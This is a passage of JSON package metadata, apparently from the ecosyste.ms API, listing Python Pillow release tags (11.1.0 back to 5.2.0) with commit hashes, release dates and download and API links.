.com/python-pillow/Pillow/tar.gz/11.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/11.1.0"},{"name":"11.0.0","sha":"204aae6682fc936f5350b3fe70335776f81480a7","kind":"commit","published_at":"2024-10-15T05:55:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/11.0.0"},{"name":"10.4.0","sha":"9b4fae77178e827ab17118fbc89c739ffd6a0fab","kind":"commit","published_at":"2024-07-01T05:42:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/10.4.0"},{"name":"10.3.0","sha":"5c89d88eee199ba53f64581ea39b6a1bc52feb1a","kind":"commit","published_at":"2024-04-01T09:22:36.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/10.3.0"},{"name":"10.2.0","sha":"6956d0b2853f5c7ec5f6ec4c60725c5a7ee73aeb","kind":"commit","published_at":"2024-01-02T07:32:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/10.2.0"},{"name":"10.1.0","sha":"da59ad000d1405eaecd557175e29083a87d19f7c","kind":"commit","published_at":"2023-10-15T08:59:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/10.1.0"},{"name":"10.0.1","sha":"e34d346f10c0b1c814661e662a3e0c1ef084cf1c","kind":"commit","published_at":"2023-09-15T11:55:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/10.0.1"},{"name":"10.0.0","sha":"6e28ed1f36d0eb74053af54e1eddc9c29db698cd","kind":"commit","published_at":"2023-07-01T12:08:11.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/10.0.0"},{"name":"9.5.0","sha":"204590600c6a8c5246d0564d3312abd6e6b0ed70","kind":"commit","published_at":"2023-04-01T07:49:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/9.5.0"},{"name":"9.4.0","sha":"a5bbab1c1e63b439de191ef2040173713b26d2da","kind":"commit","published_at":"2023-01-01T23:29:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/9.4.0"},{"name":"9.3.0","sha":"d594f4cb8dc47fb0c69ae58d9fff86faae4515bd","kind":"commit","published_at":"2022-10-29T12:25:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/9.3.0"},{"name":"9.2.0","sha":"58acec3312fb8671c9d84829197e1c8150085589","kind":"commit","published_at":"2022-07-01T13:19:51.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/9.2.0"},{"name":"9.1.1","sha":"0f44136e720cd3b2db72bdf29614897b7aa3e868","kind":"commit","published_at":"2022-05-17T10:33:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/9.1.1"},{"name":"9.1.0","sha":"5d070222d21138d2ead002fd33fdf5adcb708941","kind":"commit","published_at":"2022-04-01T07:48:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/9.1.0"},{"name":"9.0.1","sha":"6deac9e3a23caffbfdd75c00d3f0a1cd36cdbd5d","kind":"commit","published_at":"2022-02-02T23:45:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/9.0.1"},{"name":"9.0.0","sha":"82541b6dec8452cb612067fcebba1c5a1a2bfdc8","kind":"commit","published_at":"2022-01-02T09:51:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/9.0.0"},{"name":"8.4.0","sha":"40e7ff622669550733b26f14dc817fb72e096250","kind":"commit","published_at":"2021-10-15T06:27:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.4.0"},{"name":"8.3.2","sha":"8013f130a5077b238a4346b73e149432b180a8ea","kind":"commit","published_at":"2021-09-02T12:13:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.3.2"},{"name":"8.3.1","sha":"92933b86574b9c80764bf52c357ed29e1ef53382","kind":"commit","published_at":"2021-07-06T14:05:28.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.3.1"},{"name":"8.3.0","sha":"51591a80a4e14543ea8cbe93026db5e79354b8c4","kind":"commit","published_at":"2021-07-01T03:53:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.3.0"},{"name":"8.2.0","sha":"e0e353c0ef7516979a9aedce3792596649ce4433","kind":"commit","published_at":"2021-04-01T17:58:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.2.0"},{"name":"8.1.2","sha":"88bd672dafad68b419ea29bef941dfa17f941038","kind":"commit","published_at":"2021-03-06T02:38:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.1.2"},{"name":"8.1.1","sha":"741d8744a54bedbc49f16922c61a06fcb3681f53","kind":"commit","published_at":"2021-03-01T08:24:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.1.1"},{"name":"8.1.0","sha":"fcc42e0d344146ee9d265d1f43c094ce5a0ec4cf","kind":"commit","published_at":"2021-01-02T11:39:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.1.0"},{"name":"8.0.1","sha":"d209b7cab2866cbf381cbfc193f57de91a403757","kind":"commit","published_at":"2020-10-22T15:05:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.0.1"},{"name":"8.0.0","sha":"235a7d6d7deab9555dc2c1b42fdf11243f6080e8","kind":"commit","published_at":"2020-10-14T16:02:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/8.0.0"},{"name":"7.2.0","sha":"2bd74943fb9f320def6c066e732b701d1c15f677","kind":"commit","published_at":"2020-06-30T07:50:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/7.2.0"},{"name":"7.1.2","sha":"4f6145655b6fa35ec8dd3600041418087e399758","kind":"commit","published_at":"2020-04-25T05:47:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/7.1.2"},{"name":"7.1.1","sha":"ed40d04ac4dc71518a1fcbb916d0d323ef70fbc5","kind":"commit","published_at":"2020-04-02T12:41:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/7.1.1"},{"name":"7.1.0","sha":"f0fe60ae9f930faeda2f0c22f602bed1f8a0f1c7","kind":"commit","published_at":"2020-04-01T10:12:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/7.1.0"},{"name":"7.0.0","sha":"1cecf08d16509c20473766b4cdb7a65169844819","kind":"commit","published_at":"2020-01-02T05:19:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/7.0.0"},{"name":"6.2.2","sha":"a45c8583ff90312a2fddc38567ed736cef4af563","kind":"commit","published_at":"2020-01-02T05:18:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/6.2.2"},{"name":"6.2.1","sha":"6e0f07bbe38def22d36ee176b2efd9ea74b453a6","kind":"commit","published_at":"2019-10-21T06:05:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/6.2.1"},{"name":"6.2.0","sha":"8a30d135378dc6a1c3c08fa4bb9fbc15370feedf","kind":"commit","published_at":"2019-10-01T09:24:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/6.2.0"},{"name":"6.1.0","sha":"aaca672173413883fbcefd659f04d74fe44fb5d5","kind":"commit","published_at":"2019-07-02T19:10:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/6.1.0"},{"name":"6.0.0","sha":"4f3b44960f103bc201a742332dbf9a77de1eaa87","kind":"commit","published_at":"2019-04-01T22:25:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/6.0.0"},{"name":"5.4.1","sha":"f38f01bbe3a0a9f49ce592c86ff20c01c9655133","kind":"commit","published_at":"2019-01-06T12:12:16.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/5.4.1"},{"name":"5.4.0","sha":"d2d438794cdd80bdbc852c884f0473c86fb72ab3","kind":"commit","published_at":"2019-01-01T10:56:08.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/5.4.0"},{"name":"5.3.0","sha":"0ac14725ef4444fdb2871a54bcc95fcd6b8807b3","kind":"commit","published_at":"2018-10-01T05:48:10.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/5.3.0"},{"name":"5.2.0","sha":"c28bf86b7e752a9257a0d4451ca878c1385db15c","kind":"commit","published_at":"2018-07-01T19:40:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/